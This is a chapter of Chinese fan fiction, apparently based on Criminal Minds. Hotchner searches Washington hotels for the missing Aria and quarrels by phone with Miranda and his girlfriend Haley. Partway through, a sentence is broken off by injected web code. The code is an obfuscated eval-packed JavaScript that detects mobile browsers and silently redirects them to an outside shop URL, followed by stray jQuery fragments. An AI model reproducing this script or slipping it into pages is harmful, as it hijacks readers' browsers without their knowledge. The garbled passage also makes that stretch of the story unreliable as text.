霍奇纳再次惊醒的时候，天边才泛起一抹鱼肚白。


    在地上躺了一晚的他觉得全身都酸痛不已，还有宿醉之后的头痛一起折磨着他的神经。


    伸出左手抓握了几下，确认药物的作用已经消退得差不多后，他从地上爬起来，忍着突然起身那一瞬间的眩晕感去翻找到了手机。


    他拿起手机看了下时间，还不到5点，点开最近联系人，再次拨出了艾莉亚的号码。


    三声“嘟”响之后，手机里传出标准的女音：“……您拨打的电话暂时……”


    霍奇纳按下挂断键，看着手机沉默了一会儿，转到联系人界面翻了一下，找到米兰达的号码拨了出去。


    “嘟——嘟——嘟——嘟……”


    打通后等待接听的时间有些长，在霍奇纳以为对方还睡着可能没听到手机响准备放弃的时候，电话被接通了。


    “喂……艾伦？”


    电话那边米兰达的声音听着有点带着疲惫的沙哑，这么大清早把人从睡梦中闹醒，霍奇纳心里有些歉意。


    “米兰达，昨天晚上艾莉亚回去了吗？”


    以霍奇纳对艾莉亚的了解，觉得她昨天晚上回纽约的可能性最大。


    “莉亚？”


    米兰达听后迟疑了一下：“……没有，她不是去找你了吗？说要在华府玩几天再回来。”


    霍奇纳握紧了手中的手机：“是吗……我知道了。”


    “艾伦？怎么了？”米兰达应该是听出了什么，声音变得认真起来。


    “昨天晚上，艾莉亚……”霍奇纳说到这停顿了一下才又继续：“从我这离开后，我没能联系上她……有些担心。”


    电话那头的米兰达也沉默了，过了一会儿才说道：“她昨天晚上和我通话过，我想问题不大，等下我就打给她，如果我也联系不上的话，会告诉你的。”


    说完米兰达就挂断了电话。


    霍奇纳听到“嘟嘟”的声音，低头看了下手机，慢慢把它放到茶几上。


    米兰达还是第一次连再见都没说，就挂了他的电话。


    他怀疑她是不是知道了些什么，但昨天晚上那种……情况，艾莉亚真的会告诉米兰达吗？而且他自问自己并没有做什么不该做的事，不然米兰达早该报警来抓他了。


    或许是担心艾莉亚，才急着挂掉电话的？


    霍奇纳在原地站了一下后，把手机丢到沙发里，走进了卫生间。


    冲了个冷水澡让自己完全清醒之后，霍奇纳拿条毛巾擦着头发回到沙发处。


    倒进沙发里的那一刻，全身的酸痛和药物作用后的无力感，让霍奇纳想到或许他该申请进行药物抗性训练。


    发了一会儿呆后，他再次拿起手机，进到一个网页登陆自己的账号后发出了一封申请邮件。


    等待回执的时候，霍奇纳突然自嘲的轻笑了一声。


    在成为艾莉亚的监护人后，他还是第一次主动行使监护人的权利，核查她的账户，以前都只是按季度自动收取报表而已。


    但在艾莉亚已经满18岁的现在，严格来说，他已经算不上是她的监护人了。


    没过多久，他的手机振了下，一封系统发出的邮件被送达他的邮箱。


    霍奇纳点进去认真地查看起艾莉亚这半年的资金明细，每个月基本都差不多，信托基金分红入账，偶尔支取部分现金，还有一些信用卡账单的付款这些日常流水，基本没什么问题。


    最近的几条资金变动，就是显示她预定了机票和宾馆，以及提取了一笔现金；这与她来华府找他的行为也对得上。


    霍奇纳记下了艾莉亚预定的酒店名字，起身开始换衣服。


    现在过去，应该能堵到艾莉亚，和她谈完后他还能赶去上班。


    ……


    “抱歉，我们不能轻易提供入住客人的信息。”


    当霍奇纳来到宾馆，向前台咨询艾莉亚住在哪一间客房的时候，前台的女接待这么对他说道。


    霍奇纳只好从口袋里掏出自己的FBI证件：“这样可以吗？如果不放心的话，你们可安排员工和我一起上去。”


    对方接过他的证件仔细看了下，确认是真的后，把证件还给他，开始在电脑上查询，查了一会儿之后，她抬起头对霍奇纳说道：“这位威尔逊女士并没有办理入住手续。”


    “你确定？”霍奇纳皱起了眉头。


    “确定，她的确在预定了从昨天开始到后天的四天单人间，但到目前为止，她并没有来办理过入住手续。”女接待又从电脑里调出记录确认了一下，再次对霍奇纳说道。


    “这样……谢谢。”霍奇纳收起自己的证件，开始思考艾莉亚如果没来这里，会住到哪去。


    女接待看霍奇纳似乎很急着想要找到人，想了下后对他说道：“在华府我们一共有四家连锁店面，虽然威尔逊女士预定的是本店，但她可以凭借预定记录去其他三家门店办理入住。”


    得到一条算是有用的线索，霍奇纳马上向对方道谢，快步离开了宾馆的大堂。


    坐进汽车后，霍奇纳从副驾驶前的手套箱里拿出地图册查了一下，的确这家宾馆是离他住的公寓最近的一家，其他几家都有些远。*


    他研究了一下路线，在早高峰时期，这三家全跑一遍至少要花二到三个小时，肯定赶不上上班的时间。


    想到这，他拿出手机，决定今天干脆请一天假，正好可以坐下来和艾莉亚好好谈一谈。


    可是霍奇纳把三家宾馆全跑完，得到的结果都是艾莉亚并没有入住。


    再一次回到车上坐下，霍奇纳开始焦虑了起来。


    艾莉亚刻意要躲他的话，那华府大大小小的宾馆酒店可太多了，更不要说那些都不在会在网络上登记的民宿、私房出租。


    如果是平时还好，他相信她有正确的分辨判断力，可昨天晚上艾莉亚离开时的那个状态，他真的很怕她出事。


    想到这，他再次拿出手机，拨通了米兰达的电话。


    “米兰达，你联系上艾莉亚了吗？”


    电话一接通，霍奇纳就开口问道。


    对方显然没想到他上来就问得这么急，微顿了一下后才回道：“……联系过了，她说她很好，想多玩两天再回来，让我不用担心。”


    “米兰达你知道她住到哪了吗？或者你让艾莉亚和我联系一下，我需要和她谈一谈。”霍奇纳抬手按着额头，语速非常的快。


    “……艾伦。”电话那边米兰达沉默了几秒后，对他说道：“莉亚她已经成年了，如果她不想和你联系的话，我尊重她的决定。放心，既然她向我报平安了，我相信她会照顾好自己的。”


    “米兰达，我……”


    霍奇纳还想说什么，又被米兰达打断。


    “你想和她谈些什么呢？艾伦？或许下次她和我联系的时候，我可以转告她一声？”


    谈什么？


    霍奇纳一时语塞。


    然后发现他其实根本没想过具体要和艾莉亚谈什么，他只是想要找到她而已。


    “我只是……想知道她没事。”


    最后，霍奇纳这样告诉米兰达。


    “我知道了，我会转告她的。”米兰达听后应了句：“还有别的事吗？艾伦？”


    “……没有了……再见，米兰达。”


    霍奇纳慢慢说完，主动挂断了电话。


    他抬起头，望向车窗外那鳞次栉比的高楼大厦。


    如果米兰达不愿意告诉他艾莉亚到底住在哪里，他想找到对方，就如同大海捞针一般的困难。


    思考了一会儿，霍奇纳重新拿出地图册，看了下他公寓附近有些什么酒店宾馆，然后再次发动了汽车。


    ……


    已经是第四天，米兰达依旧告诉他艾莉亚还没有回去。


    霍奇纳缓缓地开着车，在华府的大街小巷里漫无目的的穿行着。


    前几天他把公寓周边大大小小的酒店宾馆都跑了一趟，今天他计划开着车把华府的景点和街道都跑一遍，想要试试能不能在路边遇到艾莉亚，但一天过去，直到天色渐渐暗了下来，依然一无所获。


    这时手机突然响了起来，他快速地拿过手机，瞟了眼来电显示。


    是海莉打来的电话。


    霍奇纳要按接听的手指顿了一下，才按下了接听键，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607800|180621||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把手机放到耳边。


    “海莉。”


    “艾伦，你这几天工作很忙吗？我们约好晚上有空就通话的？”海莉的声音带着丝笑意从听筒里传过来，隐约还能听到那边有别人说话的声音，似乎是她的妹妹杰西卡。


    “……”


    霍奇纳张了张嘴，一时间不知道要怎么回答对方。


    事实上，这几天他根本没想起海莉的事。


    内心深处升起的愧疚感让他最后只能干巴巴的说了句：“抱歉。”


    “好吧，原谅你了。”海莉也没继续追问，而是换了个话题：“艾伦，我想推迟一段时间，下个月月中再去华府可以吗？


    原本海莉和他约好的是这个月月底前来华府，为此他都已经看好了新的公寓，准备等她过来正好一起搬家，但现在她突然又说要推迟半个月。


    “……是有什么问题吗？海莉？”霍奇纳找了个可以临时停车的地方，把车停了下来。


    “今年正好杰西卡毕业，我想参加完她的毕业典礼，再和她一起去华府，陪她玩几天，当成她的毕业旅行。”**


    海莉这么告诉霍奇纳，电话那边还能听到杰西卡在说：“海莉你不要总拿我当借口……”


    霍奇纳听出了海莉的顾虑和潜台词，对于要离开家乡到一个陌生地方生活，她还是有些担忧，同时希望他能更积极主动地融入到她的家庭活动中来，这样让她更有安全感。


    如果是以前，他大概就顺着杰西卡的暗示，表示到时他可以送海莉回西雅图一起参加杰西卡的毕业典礼，所以希望她按原计划来华府。


    但不知道为什么，他的脑海里突然冒出前几天米兰达在电话里说的那句话“她已经成年了……我尊重她的决定。”


    并且他也这么开了口：“如果海莉你已经想好了，我尊重你的决定。”


    “艾伦？”


    终于听出了一丝不对劲的海莉出声问道：“怎么了？是有什么问题吗？”


    霍奇纳沉默了一会儿才开口：“抱歉，海莉。我现在有点混乱……能给我些时间吗？我需要处理一些……问题。”


    电话那边安静了下来，霍奇纳能听到海莉用力呼吸的声音，过了好久，海莉才开口询问：“是和艾莉亚有关吗？”


    被女友直接戳穿的霍奇纳觉得自己的表情一定非常狼狈不堪，但他并不想欺骗对方，于是轻轻的应了一声：“是。”


    “我就知道。”海莉在电话那头冷笑了一声。


    “海莉，听我说……”霍奇纳忙想要解释一下，却被对方打断了。


    “你先忙吧，什么时候忙完了，什么时候我们再谈。”说完海莉就把电话挂断了。


    霍奇纳看着被挂断的手机，把它紧紧地握在手中。


    过了一会儿后，他才点开手机屏幕，回拔了海莉的电话。


    很快对方就接通了电话：“这么快就想好了？”


    “海莉，你知道我是艾莉亚的监护人……”霍奇纳想要再解释一下。


    “艾伦！”海莉再次打断了他的话，“是，你是她的监护人。可她总有成年的一天吧？难道你还打算照顾她一辈子吗！？”


    刚和艾莉亚一起过完她18岁生日没几天的霍奇纳闭上了嘴。


    “我知道她小时候很可怜，我也知道你一直把她当成妹妹一样疼爱；我不介意将来多一个妹妹，但艾伦……”


    说到这，海莉停顿了一下，才继续说道：“我不希望我们俩的将来里，永远有她的存在……你明白吗？”


    霍奇纳听完后，久久没有开口，久到电话那头的人轻笑了一声：“我就知道你做不到，艾伦。”


    “……我很抱歉，海莉。”霍奇纳张了几次嘴，最终这么说道。


    “……艾伦，”


    电话那头，海莉沉默了一下，最后轻声问了霍奇纳一句：“你为什么不介意我要推迟去华府的时间呢？明明之前你和我说你很期待的，不是吗？”


    说完，海莉再次挂断了电话。


    霍奇纳直接把手机摔进了副驾驶座，然后低下头靠上搭在方向盘上的双手。


    你就是个混蛋！艾伦·霍奇纳！